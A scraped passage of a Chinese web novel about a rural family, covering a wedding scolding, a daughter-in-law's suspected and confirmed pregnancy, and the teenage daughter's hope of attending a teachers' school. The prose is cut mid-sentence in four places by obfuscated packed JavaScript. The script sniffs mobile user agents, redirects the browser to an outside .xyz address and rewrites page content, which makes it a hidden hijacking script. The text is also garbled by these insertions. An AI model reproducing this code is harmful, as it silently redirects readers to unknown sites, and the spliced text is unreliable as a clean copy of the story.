从小到大，她最讨厌的就是这个姑婆！因为她们家在街上，还有个豆花店铺，仗着有点小钱，总是一副高高在上的样子。以前大哥没考上大学，她就没少在背后嚼舌根。可偏偏爸爸每次赶集，还总爱领着她去姑婆店里吃豆花饭，每次都要被姑婆和她家人用那种轻慢的眼神打量、打趣，而爸爸赵兴强，似乎听不懂他们的话里话外的意思，每次都不在意！ 此刻，赵小英看着父母没有站出来帮自己说话，好像他们也认同了姑婆的话——他们也觉得自己就该初中毕业就嫁人，就该嫁到高山上面去，就该承受姑婆这样毫无尊严的指指点点！ 巨大的委屈冲上头顶，眼泪忍不住掉了下来。 “哟哟哟！”姑婆夸张地叫起来，“你看这小英，还说不得了？姑婆说话是直了点，可姑婆是过来人，句句都是掏心窝子为你好啊！如果我不是你姑婆，我哪里还会管你的事情？等你长大以后吃了亏，就知道该谢谁了！” “哭什么哭！”赵兴强呵斥道。都十五岁了还那么不分场合，让自己难堪。此刻看到女儿在这种大喜日子当众掉眼泪，还一脸倔强地瞪着长辈，只觉得颜面扫地，一股邪火直冲脑门，“你都多大的人了，还一点规矩不懂！你姑婆说你两句还说错了？给我憋回去！别在这儿丢人现眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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赵国亮春风得意，搂着自己漂亮的新婚妻子，被前来祝贺的亲朋好友簇拥着，推杯换盏，笑声朗朗。这是他人生中当之无愧的高光时刻。 赵智民和赵小英则为躲避亲戚的“好言好语”，同时还有父亲的挨打责骂，躲在别人家里哭。赵小英的眼泪止不住地流，赵智民沉默地拍着她的背。 人的悲喜，从来都不相通。 28. 乌龙（1） 时光如流水，转眼过去，已经来到了夏天。 这是一个闷热的周日午后，蝉鸣聒噪。厨房里，赵小英一边心不在焉地刷着碗，一边犹豫着。思来想去，她最终还是决定把看到的事情告诉母亲。 原因无他，毕竟嫂子嫁进来这几个月，对她实在太好了。嫂子从不摆架子，经常帮着她分担家务；她上学睡过头时，还会麻利地给她煮碗面条；放学路上碰到，总会拉着她去街上买点零食；店里每进一批好看的新衣服，嫂子也总让她先挑，挑上了直接拿走。 在嫂子面前，她不再是那个总被忽视的小丫头。 嫂子永远那么温柔，说话轻声细语，带着浅浅的笑。饭桌上她被爸妈数落了几句，饭后嫂子总会悄悄塞给她一块钱，或者拍拍她的背低声安慰：“没事，小英，下次注意点就好了。” 不止在邻居和亲戚们眼中，王秀梅是个难得的好媳妇，在赵小英心里，她更是一个真心疼爱自己的好嫂子。 “妈，”赵小英终于鼓起勇气，对着正在厨房外面“梆梆梆”剁猪草的杨红翠开口，“那个…我刚刚看到嫂子好像有点儿不舒服。她说中午那炒土豆丝太油腻了，她吃着有点恶心，后来好像吐了……你看后面做饭，要不稍微弄清淡点？其实我吃着也觉得油有点重，海椒也点多，还有点咸。” “哪里油腻了？你刚刚吃饭我还看你还扒了两碗饭，不也吃得挺香？”杨红翠手上宰猪草的动作没停，头也没抬，声音带着点不以为然。她心里嘀咕，这二十多年不都是这么做饭的吗？以前也没见谁挑剔，现在一个个的还挑上了。 赵小英撇了撇嘴：“本来天气就开始热了，中午那个炒土豆丝吃完后都是凝着一层猪油，不然为啥嫂嫂吃饭后都吐了？嫂子脾气好，肯定不好意思直接跟你说，可这样她咋个吃得下饭啊？你不是老说猪油金贵吗？那下次炒菜就少放一点呗？” 她心里默默吐槽：我吃了十五年早习惯了，并不代表你做得不油腻啊！人家嫂子刚嫁过来，口味哪能一样？这些话她只敢在肚子里滚几圈，是万万不敢说出口的。 “我记得没放多少油啊！”杨红翠越想越火大，剁猪草的力道都重了几分，“你爸还老嫌弃我炒菜舍不得放猪油，说我抠抠搜搜，整天叨叨‘我们家穷得连油都吃不起了吗？’我真是服了你们老赵家！一个个的挑三拣四，油少了不行，油多了也不行，合着我就是来受罪的。” 不过，转念一想，杨红翠也觉得有点不对劲。之前的饭菜也是这么做的，王秀梅哪顿不是吃得挺好？就这几天，看她胃口是差了些，饭量小了，口味可能不太好，可也不至于吐吧？真的做得有那么难吃？ 饭菜油腻……吐！！！ 杨红翠脑子里突然“叮”的一声，好像发现了什么！她赶紧往厨房冲，边跑边问：“小英！你刚刚说啥？你嫂子吐了？！” 赵小英正低头洗碗，被母亲这提刀冲进来的架势，可把她给吓一跳，手里的碗差点掉地上，说话都不利索了：“妈！妈！你…你拿着刀干啥？我…我也没看太清楚，嫂子可能也没吐！她肯定不是嫌弃你做饭！嫂子人那么好，你…你别生气！可能是我眼花了，看错了！是我的问题！” 她语无伦次地解释着，越说越慌，母女俩在狭小的厨房里急成一团。 “哎呀！你这死丫头！急死我了！到底吐没吐？你眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788775|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛长着出气的啊？”杨红翠又急又气，手里的砍刀反射着寒光。 “我…我就看见她蹲在场坝边那棵柑子树底下，好像很难受的样子，起来还一直拍自己胸口……我猜…猜她是吐了……”赵小英吓得缩了缩脖子。 “那你倒是看清楚啊！看到吐出来的东西没？”杨红翠追问。 “我哪敢凑近看啊！后来看她起来了，说要去街上店里搬新到的货，我就没管了……你要不自己去看看？就在柑子树那边……”赵小英的声音越来越小，心里直打鼓，后悔自己多嘴了。自己老妈的脾气也是一点就着的，早知道自己就不说了，不淌这趟浑水。 “什么？！搬货？！” 听到杨红翠的声音立马提高好几度，赵小英吓得一哆嗦，心里哀嚎：完了完了，又捅娄子了！她小声辩解：“对啊，现在估计正在搬吧……都走了差不多一个小时了……” 心里忍不住替嫂子抱不平：大哥自己整天不着店，搬货这种力气活都丢给嫂子一个人干！ “哎呀！我的老天爷！”杨红翠急得直跺脚，“你大哥那个混账东西呢？是不是又跟你爸扎到哪个牌窝子里去了？你现在赶紧去把你哥找回来。我马上上街找你嫂子！” 话音未落，她风风火火就往外跑。 赵小英看着杨红翠转身就走，手里还拿着刀，赶紧冲上去：“妈！刀！把刀扔了！” 杨红翠随即把刀扔在猪草旁边，消失在眼前。赵小英看着地上的砍刀，心有余悸，又犯愁了：大哥和爸到底在哪儿打牌？她哪儿知道啊！算了，先去杨敏和李波家问问吧，一家家找！ 就这样，母女两人各自带着满心的焦虑，分头去寻人。 29. 乌龙（2） 当杨红翠气喘吁吁地跑到街上的服装店时，王秀梅刚好把最后一件新到的衣服挂好。她额头上沁着细密的汗珠，脸颊因为用力有些泛红。 “妈？你怎么来了？跑这么急，出啥事了？”王秀梅看到婆婆一脸焦急地冲进来，吓了一跳。 杨红翠看着略显疲惫的儿媳，心想到底是年轻姑娘，头一遭，估计自己都没往那方面想。她环顾一下，幸好不是赶集日，街上没有什么人。她一把拉住王秀梅的手腕，不由分说把她拉进店铺后面的小隔间里，压低声音，神秘兮兮又带着急切地问：“秀梅，你跟妈说实话，你最近…是不是老觉得恶心，想吐？胸口闷得慌？” 王秀梅被问得一愣，她以为是中午的饭菜让婆婆多心了，不好意思直接说确实不合胃口，便委婉道：“嗯…是有点。可能是最近天开始热了，最近店里事也多，所以我胃口不太好。有时候闻到油烟味，或者看到油腻的菜，就觉得胃里翻腾，犯恶心……我还想着明天去秦幺叔那儿捡点药吃。” “哎哟！千万别乱吃药！”杨红翠一听，赶紧制止，眼睛紧紧盯着儿媳，“这样有几天了？你那个…那个…，还正常着没？”她怕儿媳年轻面皮薄，问得有点含糊。 “那个？”王秀梅一时没反应过来，待明白婆婆指的是什么，不动声色的赶紧调整情绪和神情，毕竟是婆媳，有些事情还是不好意思：“……我…我也没太记日子，但这个月…好像…是迟了些天，还没来。” “哎呦喂！我的傻媳妇儿，自己来没来都不清楚吗？”杨红翠看着眼前的漂亮儿媳，真的是皇帝不急太监急。 王秀梅看着婆婆夸张的反应，还是有点茫然，真的是丈二的和尚摸不着头脑。 看着儿媳懵懂的样子，杨红翠干脆把话挑明了：“你这八成是有了！怀上了！明天，赶紧让亮娃带你去县医院查查，看看是不是真怀上了！” “什么？！怀孕？！” 王秀梅此刻脑门轰天一冲。对啊，自己怎么没有想到了？这几天一直都食欲不振，看到炒菜就觉得油腻，吃几口就想吐。 婆媳俩正沉浸在这个突如其来的巨大可能性中，还没来得及细说。两人正准备说些什么的时候，赵国亮像阵风一样冲了进来，脸色煞白，满头大汗，身后跟着同样跑得上气不接下气、一脸惊恐的赵小英。 赵国亮一个箭步冲到王秀梅身边，把她拉在自己身后，对着杨红翠，强压着喘息，声音带着不易察觉的颤抖：“妈！我都听小英说了！不就是…不就是秀梅胃不舒服吐了点吗？她绝对不是嫌弃你做饭！真不是那个意思！你…你消消气，不至于拿刀啊！”他一边说，一边紧张地打量着母亲，生怕她做出什么过激举动，眼神里满是担忧和不解。 “拿刀？我拿什么刀了？？还有你知道些什么啊？”杨红翠看着自己儿子说些糊涂话，立马转头看着门口的赵小英，这小妮子到底跟她哥乱说些什么。 此刻的赵小英一脸担忧，同时又害怕。因为都是自己多嘴才造成现在这个局面，但又很疑惑，明明妈妈也挺喜欢嫂子的，为啥就因为吐了一个饭菜就大动干戈了，气急成现在这个样子，一点都不像是原本的她。 “我…我就说妈你拿着砍刀跑出来找嫂子了…我…我没瞎说啊哥……”赵小英在一旁连忙解释，急得都快哭了。 赵国亮护着王秀梅，语气带着维护：“小英都看见了！妈，秀梅她一直口味清淡，吃不惯我们家重油重辣的菜不是很正常吗？她也没做错什么，你何必……” 他以为母亲是因为觉得丢了面子才如此动怒。 被护在身后的王秀梅，看着赵国亮宽阔的背影，听着他为自己辩解的话，心头一暖。她婚前就听人说过，婆媳关系好不好，关键就看中间这个男人的行为。这一刻，赵国亮毫不犹豫地站在她这边，这让她觉得无比安心和感动。 “妈说……我可能怀孕了。” “什么？！怀孕？！” 又是一声惊讶！赵国亮赶紧转身扶着王秀梅，用手到处抚摸着，看看她有哪里不舒服，整个人手忙脚乱。 看着儿子这副傻样和儿媳羞涩又带着期盼的神情，杨红翠也忍不住笑了出来。不过她还是赶紧提醒：“行了行了，不要瞎激动！这事儿还没准信儿呢！亮娃，你明天一早，赶紧带秀梅去县医院，好好检查检查！对了，”她神色一肃，压低声音，“这事儿，现在谁都不许往外说！明白不？明天店里让你爸过来看着，我也在这儿守着。” “嗯嗯，好。我们明早就去。”“赵国亮连连点头，脸上的笑容怎么都压不下去。 “记住，一定不能外传。有人问，你们就说去城里办点事，知道不？” “妈，我们知道了。”王秀梅赶紧回应着，她大概知道杨红翠口中的不能外传说什么意思。之前在娘家时候，隔壁的王二哥她媳妇儿怀孕前三月就告知大家了，后面胎儿流产了，老人就说怀孕前三个月一定不能告诉别人，有“胎神”，怀孕说太早，会惹胎神不高兴，孩子会跑掉。 不管这是不是封建迷信，但怀孕是一件大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788776|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事，小心驶得万年船。想到肚子里可能正孕育着一个小生命，一种从未有过的、混合着神圣与责任的感觉悄然升起，王秀梅还是觉得保险起见。毕竟此刻她已经是一位妈妈了，突然有了一种身份转变。 站在门口的赵小英，同样处在惊讶当中。不过令她感到庆幸的是，这次总算没有好心办坏事，没有因为自己导致妈妈和大哥还有嫂嫂吵架。 看到杨红翠转头看向自己，没等她说话，赵小英就知道她要说什么，赶紧开口：“我肯定不会说的，打死也不说！不会外传！” “那…爸了？要不要告诉他？”赵小英突然想到这里，下意识地缩了缩脖子，小声补充了一句。 “你爸？”杨红翠没好气地白了她一眼，“他是外人吗？天天一个桌子上吃饭，这事儿能瞒住他？不说心里还憋得慌，你这个脑子，转不过弯来！‘不能外传’说的是外头那些不相干的人！” 她看着闺女那副懵懂样，现在一股无名火往上窜，让她去找人，传话传得吓死人。 赵小英委屈地扁扁嘴，心里吐槽：不就是多问一句嘛……你自己说的“不能外传”啊……又要怪我……她默默低下头。 “妈，现在还没确定下来，我们明天先去检查再看情况。”王秀梅看到赵小英的眼神耷拉下去，赶紧跳出来打圆场。 当晚的晚饭，气氛格外不同。虽然表面上还是寻常饭菜，但赵家每个人的心里都揣着一份沉甸甸的喜悦和期待。 饭桌上，杨红翠破例没再唠叨赵小英，赵兴强也跟着多喝了两杯小酒，乐呵呵的。赵兴强和杨红翠仿佛已经看到了白白胖胖的孙儿在眼前晃悠，赵国亮更是喜上眉梢，时不时给王秀梅夹菜，眼神里充满了初为人父的兴奋和温柔。赵小英心里也甜滋滋的，她真心喜欢这个嫂子，嫂子的孩子，她一定也会当成亲侄子/侄女一样疼。 当然，心里情绪变化最大的还是王秀梅。她才十八岁，对于“母亲”这个身份的意义，或许理解得还不够透彻，但她清楚地知道，一个新生命正可能在自己体内孕育。这感觉如此奇妙，带着一丝忐忑，更多的却是无法言喻的温柔与期待。她低头看着碗里的饭，手不自觉地再次轻轻覆上小腹。 晚饭后回到自己屋里，她拉着赵国亮的手，久久地、小心翼翼地放在自己平坦的肚子上，仿佛要感受那可能存在的微弱心跳。生命的奇迹感第一次如此真实地击中了她，让她震撼不已。 她开始无比期待明天医院的检查，期待那个确切的答案，更期待这个小生命的降临。 30. 怀孕 “诶，今天怎么是你来守店？你家秀梅和亮娃去哪里了？” 隔壁卖鞋的王嬢嬢看到杨红翠一个人在店里守着，便端着个搪瓷缸子踱过来，一脸好奇地询问。在她印象里，赶集日杨红翠一般都是下街的菜摊子上卖菜。 杨红翠听到询问，脸上堆起笑赶紧解释：“是啊，王姐。他俩去城里看新货去了。我这不是闲着嘛，所以我今天来帮忙看看。”这会儿刚过早饭点儿，大多数人都在下街那边，上街这边多是些街坊邻居坐在自家店门口闲聊打发时间。 “进货？”对面卖床上用品的李姐也凑了过来，她是个实在人，快人快语，“昨天下午不是才到了一车货吗？我看着你家秀梅一个人在那儿吭哧吭哧往下卸，还搭手帮她搬了两趟。红翠啊，真不是我夸，你这儿媳妇是真没得挑！长得好看就不说了，脾气也好，手脚又麻利，你是在找到这么一个漂亮又能干的儿媳妇儿？” 李姐是真心喜欢王秀梅，忍不住就夸开了。 杨红翠听着心里乐开了花，王秀梅这个儿媳妇儿确实是没得说，长得漂亮，大家闺秀，还勤劳苦干，见人又爱打招呼，逢人没有不夸的。 “秀梅这孩子是懂事，可这哪是我的福气啊，都是我家亮娃自己争气，媳妇是他自个儿处来的，我和他爸可没操半分心！”她嘴上谦虚着，眼角的笑纹却藏不住。 “你这话说得？亮娃不是你肚子里爬出来的？”王嬢嬢马上应和，爽朗地笑着，“儿子有本事找个好媳妇，你不就跟着享福？这还不是你的福气是啥？”她说着，一想起自己那个在城里打工、三天打鱼两天晒网的儿媳妇，对比下来，语气里忍不住带上点羡慕。 杨红翠之前听过她家的一些闲言碎语，知道王孃不太喜欢她媳妇儿，觉得太懒散了，但是架不住儿子喜欢。于是，半是真心半是场面话地赶紧宽慰：“你福气也好着呢！儿子儿媳都在城里挣大钱，以后有你享清福的时候！” 三人正聊得热乎，隔壁张姐一边擦着油腻腻的桌子，一边斜眼瞅着杨红翠那掩饰不住的得意劲儿，心里像堵了块石头，又酸又涩。当初她托人向赵家提亲，想把女儿刘琴说给赵国亮，结果赵家老两口还推三阻四的，话里话外不就是嫌弃她是个寡妇，女儿没爹帮衬？张姐至今都还是对赵家老两口心怀芥蒂。如今看到赵国亮还娶了王秀梅那样好的儿媳妇儿，心里更是不平衡。 赵国亮结婚那天，她回来就看着自家闺女闷闷不乐的样子，连饭都不去吃，在家一生不吭的，就开导她：“赵家那小子有啥好的？再好不也窝在咱们这山沟沟里？听我的，你明天就去城里，去你大姑。然后找个班上，像你大姑一样好好工作，然后再找个城里人，嫁到城里那不比跟着赵国亮强多少倍！” 好说歹说，她才把刘琴劝进城，在一个酒店当了前台，有点正事做就不整天在那伤春悲秋了。 此刻，张姐忍不住用她那特有的尖细嗓音，掺着点阴阳怪气插话道：“红翠啊，儿媳妇好是好，可你也得把宝贝儿子给看紧点哟！你家亮娃争气找了个能干的媳妇，可别把下货看店这些累活儿全甩给媳妇儿一个人，自己倒跑出去潇洒快活！这可使不得呀！” 这话夹枪带棒，杨红翠也不是傻子，岂能听不出来？她知道张姐心里有疙瘩，虽然话听着不顺耳，但也没指名道姓说儿子如何，便只当没听出弦外之音，不跟她一般计较，笑着打哈哈：“是是是，张姐提醒得对！等亮娃回来，我非得好好说说他！都二十岁的人了，还是没个正形！” 她心里其实并没太把这话当真，只觉得儿子年轻，等当了爹自然就懂事了。 张姐看她不吃瘪，也不没事找事了，进屋去收拾客人的碗筷。 上午生意寥寥，进店的都是些和杨红翠认识的人，跑来闲逛闲聊的。不过，杨红翠的心思哪在生意上？满脑子都在猜：秀梅到底怀上了没？检查结果该出来了吧？ 与此同时，县城医院。 赵国亮和王秀梅坐了早班大巴颠簸进城，又叫了辆三轮车一路突突到县医院。挂号、排队、缴费、抽血……一套流程走下来，已经快十点了。医生告知，上午十点抽的血，血检结果要到下午三四点才能出来。时间还早，赵国亮想带王秀梅去城里逛逛，散散心。可王秀梅心里七上八下的，完全不放心，坚持就在医院附近等着。 五月中旬的县城，还没有正式进入特别炎热的夏天。此时，阳光正好，微风拂过，带着一丝凉意，吹乱了王秀梅额前的碎发。她挽着赵国亮的胳膊，在医院旁的小广场上慢慢走着。走了一圈，随后坐在花台边上看着形形色色的人：推着小车卖炸土豆、凉皮凉面的小贩吆喝着；年轻的父母带着蹒跚学步的孩子嬉闹；当然，更多的，是神色焦虑、步履匆匆来看病的人。毕竟这是在医院旁边。 王秀梅看着这一切，心头百感交集。自从隐约知道自己可能要做妈妈了，她感觉自己变得格外敏感，一点小事就变得多愁善感。 突然，一张熟悉的青涩而又帅气的脸旁映入眼帘，赵国亮捧着一豌炸土豆端上来。眼睛亮亮的，充满笑意，神采奕奕。 “酸辣口的，你最喜欢的味道。” 赵国亮用牙签挑起一块喂王秀梅，王秀梅咬了一口。嗯！是自己喜欢吃得那一家，味道很不错。原来他刚刚不在那么长时间是去给自己买吃的去了，还专门跑到县中学校旁边去买。 之前谈恋爱的时候，赵国亮就专门带王秀梅去了学校附近转转，学校边那家小吃店是整个县城味道最好的，也是生意最好的。王秀梅第一次吃，就爱上这家店的酸辣土豆。于是每次他们到县城都会去吃一次。 王秀梅一扫刚才的惆怅，连晒着太阳也觉得暖洋洋的。 两人找了处干净的花坛边坐下。赵国亮一边看着王秀梅小口吃着土豆，一边忍不住在想孩子的名字。他每次看到“国亮时尚潮流坊”，就在想，有孩子了，一定要起一个好听的名字！像“黎明”这种一样简单又好听的名字，不像“国亮”那么老土！！！ “赵阳，你觉得怎么样？” “赵阳？”王秀梅侧头看他。 “今天出了太阳，太阳意味着光明，前程似锦，向太阳一样闪耀。” “诶，赵阳听着跟朝阳差不多。朝阳，意味着生命的希望和无限的可能。” 王秀梅安静地听着丈夫在一旁眉飞色舞、手舞足蹈地畅想，为那个尚未出世的孩子如此用心地规划名字，心里暖暖的。她真心觉得这名字不错：“赵阳，挺好的，听起来就很温暖，性格肯定也活泼开朗。” 王秀梅想了一会儿，突然停顿：“对了，赵阳是男孩名子，万一是女孩了？” 这一下还真把赵国亮给问住了。他自打知道要当爸爸后，他光顾着想象有个儿子了，完全没考虑另一种可能。如果是女孩的话，该取什么名字了？ 赵国亮看了自己的妻子，思索了小会儿，慢慢地说出两个字：“赵月！叫赵月怎么样？” “赵月？” “嗯！赵月！”赵国亮越想越觉得好，“一个太阳，一个月亮，刚刚好。你不觉得月亮特别漂亮吗？又安静，又大气，又温柔，还优雅……古代有多少文人墨客都把月亮写进诗词歌赋里！” “而且，我特别希望我闺女像你，美丽，大气、温柔……“ 王秀梅被他这一句接一句的甜言蜜语夸得脸颊微红。她虽然私心希望孩子无论男女都像丈夫一样开朗外向些，但听到丈夫说希望女儿像自己，好像也可以，于是笑着点头：“好，好，好！女孩像我，男孩像你！就这么定了，赵阳，赵月！” 年轻的小夫妻沉浸在对未来的甜蜜憧憬中，在医院门口为尚未谋面的孩子定下了名字，一个忐忑的下午也因此染上了温暖的色彩。 赵国亮看了看手表，指针指向三点：“时间差不多了，我去拿报告，你坐这儿再歇会儿。”想着妻子现在不方便，避免劳累，他就打算一个人去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788777|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就行。 结果王秀梅还是不放心，一定要跟着前去。 “这会儿也没有什么太阳，起风了还有点冷，我去医院里面还舒服一点。” 赵国亮想想也是，便小心地扶着王秀梅，两人慢慢走回医院门诊楼。取了那张薄薄的化验单，看着上面的数字和符号，两人都一头雾水。于是，他们紧张地走进诊室，将报告单递给医生，询问医生情况。 门诊室内，两双眼睛紧紧盯着医生脸上的表情，充满了期待和不安。 “嗯，这个HCG值，也就是人绒毛膜促性腺激素，上面数字写的是1648miu/ml。简单说，就是怀孕了，而且已经有十周了。” 戴着眼镜的中年女医生仔细看了看报告单，又看了看眼前这对紧张的小夫妻，脸上露出了温和的笑容，耐心地给两人解释医学专用名词。 “十周了？！” “真的怀上了！” 夫妻俩人笑着，激动地抱在一起。这是他们的第一个孩子，这种初次为人父母的感觉还是给两人带来了冲击感。 医生看着这对年轻夫妻，心里也为他们感到高兴，一看就是一对恩爱的夫妻。 “对了，医生，我可以再问下现在能知道孩子性别吗？是男孩还是女孩？”赵国亮从惊喜中抽空问了个问题，这是昨晚杨红翠和赵兴强千叮嘱万叮嘱，让他一定问医生的。 话一出口，他就有点后悔，怕医生误会。 “医院查不了，上面有规定，非医学需要是不能鉴定胎儿性别的。现在都新时代了，男孩女孩都是宝，再说了你俩长得都俊得很，你俩孩子无论男女都长得好看。” 眼前的医生已经习惯这套话术了，回答得滴水不漏。十个里面有十二个都是问性别的，多的两个就是爷爷奶奶。 赵国亮连忙解释：“我不是那个意思，我就是想问问。就是……就是想提前知道，好跟孩子说说话，比如叫TA的名字……”他有点语无伦次。 “我们刚刚在外面给男孩女孩都取了名字，就想着要是知道了，就能早点叫宝宝的小名了。”王秀梅也赶紧出来给赵国亮解释。 看着小两口着急解释、一脸真诚的样子，医生笑了笑：“理解理解，初为人父母的心情嘛！不过性别咱们医院没法查。来，我跟你们说说怀孕初期的注意事项……”她耐心地交代了饮食、休息、定期产检等事项，又开了些叶酸和维生素。 夫妻俩拿着药和检查单走出医院，相视一笑，脸上洋溢着初为父母的幸福光彩。他们的生命即将迎来一个崭新的、重要的成员。 在医院门口的小超市，赵国亮找了个公用电话，拨通了街口小卖部的号码。电话刚接通，那头就传来杨红翠压低却难掩焦急的声音：“喂？咋样？结果出来没？稳不稳？” “确定了！稳了！稳了！” 电话这头，杨红翠正站在小卖部的柜台旁，老板是熟人，她不敢明说，但听到儿子连声说的“稳了”，那悬了一整天的心“咚”地落回肚子里，巨大的喜悦让她眉开眼笑 小卖部老板好奇地问：“啥好事啊？这么高兴？”杨红翠赶紧收敛笑容，含糊道：“哦，是智民打来的，说在外头找到活儿了，挣着钱了！”敷衍过去。 挂了电话，杨红翠心里那叫一个美！她麻利地提前关了店门，风风火火地往家赶。她打算回去杀一只老母鸡给炖上，想想老母鸡还得下蛋……不行不行，还得留着下蛋给秀梅补充营养呢！ 她脚步一转，直奔家里，抓了只肥壮的公鸡。公鸡炖汤也一样补，大不了多炖些时候，炖到汤浓肉烂。至于老母鸡，得留着秀梅坐月子的时候再吃，那时候才最需要补身子。 赵家人连迎喜事精神爽，整个家庭氛围都是朝气蓬勃。赵兴强觉得自己最近手气都格外顺，打牌赢了好几场，果然人逢喜事运气好。 整个家庭，都因为那个即将到来的小生命，充满了对未来的无限期盼。 31. 小英 2005年的6月，暑气初显。赵小英的初中生活，如同蝉鸣般短暂而喧嚣地结束了。没有任何意外，她没有考上高中。 对这个结果，赵小英自己倒是平静。她清楚自己不是读书的料，课本上的字句像天书，尤其是数学，怎么也学不会。另外，她的好朋友杨敏同样也没考上，两人早已私下商量好：过一两个月，要么一起去广州投奔她二哥赵智民，要么就去苏州找杨敏的姐姐杨艳。 赵兴强和杨红翠对此也没多说什么。女儿读书不行，和赵智民一样出去打工挣钱，天经地义。 原本事情就该这样顺利落下帷幕，可是偏偏在中间出现了一些小插曲。 那天，是赵小英的堂哥赵庭冬的婚礼。赵庭冬的父亲赵兴礼是赵兴强的堂兄。在整个赵家大家族中，赵兴礼这一房算是混得不错的，儿子赵庭冬在街上摆猪肉摊，这些年挣了点钱，前年就在街上盖了新房；女儿赵庭春读了个大专，毕业后分配到了乡里的卫生院，端上了人人羡慕的“铁饭碗”。 婚礼那天，亲戚们如赵国亮那次一样，也是围坐一起聊天。赵小英安静地坐在角落里，目光却被一个人吸引了——那就是堂姐赵庭春。 赵庭春个子不高，也就和赵小英差不多，一米六左右。但今天，她脚踩一双黑色高跟鞋，穿着一条亮眼的红色连衣裙，化了淡妆，乌黑的长发柔顺地披在肩上。整个人焕发着一种赵小英从未见过的光彩。 以前赵小英觉得她也和自己一样普普通通，此刻却像换了一个人，自信又从容。 “我记得小英今年初中毕业了吧？有什么打算了？” 聊天间隙，赵庭春发起了对她的询问。 这在以往，赵小英听着话题落在自己身上，就会本能地感到烦躁，但这一次，她却不讨厌。因为赵庭春的语气和眼神里没有姑婆那种刻薄和审视，只有真诚的关心。 没等赵小英开口，杨红翠就接过了话头，声音平淡得像在说别人家的事：“没考上高中。打算过阵子去广州找她二哥打工去。”言语间听不出对女儿前途的规划，仿佛只是安排一件再寻常不过的事儿。 “伯娘，我这边有个情况。我有个同学的妹妹，也是今年没考上高中。她家里打算花点钱，送她去市里新办的一所师范学校读书。那个学校最近才办的，大量招生，所以现在招生门槛不高，花钱就能进，进去后还能自己选专业。” 听到去广州打工，赵庭春微微蹙了下眉，心里有些不忍，还是打算为这个年纪轻轻的妹妹筹谋下前程。她顿了顿，看着赵小英，语气认真了几分，“我觉着，小英年纪还小，一个女孩子出去打工太辛苦，也不是长久之计。不如也考虑去读个师范专业？只要在学校里肯用功，努努力，说不定将来也能分配个工作，回乡里当个老师呢？这不比打工强多了？” 赵庭春是真心实意为赵小英着想。赵家这两年条件好了些，赵国亮开店，赵智民打工，供个小女儿读几年书，应该是负担得起的。这好歹是条能看得见一点光的路。 “就她？她这个成绩能读师范，还能回来教书？”杨红翠一脸不可置信，旁边的人也跟着笑起来。 赵小英的脸瞬间涨得通红，像被人当众扇了一巴掌。虽然说的是事实，但亲戚们那赤裸裸的讥笑，让她本就脆弱的心上更是像扎了几针般难受。一股从未有过的倔强猛地冲上头顶，她凭什么就不能教书？她偏要去读！偏要当个老师给他们看看！ 赵庭春见状，立刻给赵小英递了个鼓励的眼神：“伯娘，话不能这么说。现在成绩不好，不代表以后学不好。学校里的老师都是教一样的内容，那些知识，只要用心学，有什么难的？女孩子读个师范，将来有个稳定工作，多好！关键看小英自己愿不愿意努力。小英，你说呢？你是想去外面打工，还是想去市里读师范？” 听到赵庭春的鼓励，赵小英内心受到了极大的鼓舞：“我想去读师范！” “你们听听！”赵庭春立刻笑着看向众人，“小英自己是有主意的！伯娘，这事儿你就回去跟我伯伯好好商量商量。因为小英这个成绩读这个学校是得花些钱，后面还有学费、生活费，加起来不是个小数。但我敢说，这钱花在读书上，绝对值得！要是你们决定了，我就去帮你们联系我那个同学，问问具体怎么报名。” 她的语气郑重其事，让刚才还嗤笑的杨红翠也收起了笑容，犹豫了一下。她虽然不懂什么师范学校什么专业，但“当老师”这三个字的分量她还是懂的。要是女儿真能捧上“铁饭碗”，那她脸上得多有光啊！这可是祖坟冒青烟的事！ 这一天，成了赵小英有记忆以来，在亲戚聚会上最开心的一天。因为话题终于不再是“读书不行”、“早点嫁人”之类的陈词滥调，大家似乎都在认真考虑她“当老师”的可能性。 这份迟来的、带着点惊讶的认可，像甘霖一样浇灌在她干涸的心田上，让她第一次对未来生出了真实的憧憬。 吃完晚饭后，赵小英几乎是飞跑着去找好朋友杨敏。她迫不及待地把赵庭春的建议原原本本告诉了她，兴奋地说：“敏敏，我可能不去打工了！我要去市里读师范！” 